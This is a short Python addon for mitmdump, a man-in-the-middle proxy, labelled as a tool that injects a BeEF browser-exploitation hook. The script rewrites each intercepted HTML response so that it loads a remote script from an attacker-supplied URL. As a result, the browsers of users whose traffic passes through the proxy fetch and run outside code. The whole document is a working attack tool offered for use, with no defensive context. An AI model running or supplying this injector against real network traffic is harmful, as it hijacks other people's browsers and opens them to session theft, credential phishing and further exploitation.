Injects beef hook into sessions with mitmdump

mitmdump_beef_injector

# (this script works best with --anticache)
import sys
from bs4 import BeautifulSoup

class Injector:
    def __init__(self, script_url):
        self.script_url = script_url

    def response(self, flow):
        if flow.request.host in self.script_url:
            return
        html = BeautifulSoup(flow.response.content, "html.parser")
        if html.body:
            script = html.new_tag(
                "script",
                src=self.script_url,
                type='text/javascript')
            html.body.insert(0, script)
            flow.response.content = str(html)#.encode("utf8")


def start():
    if len(sys.argv) != 2:
        raise ValueError('Usage: -s "script_injector.py url"')
    return Injector(sys.argv[1])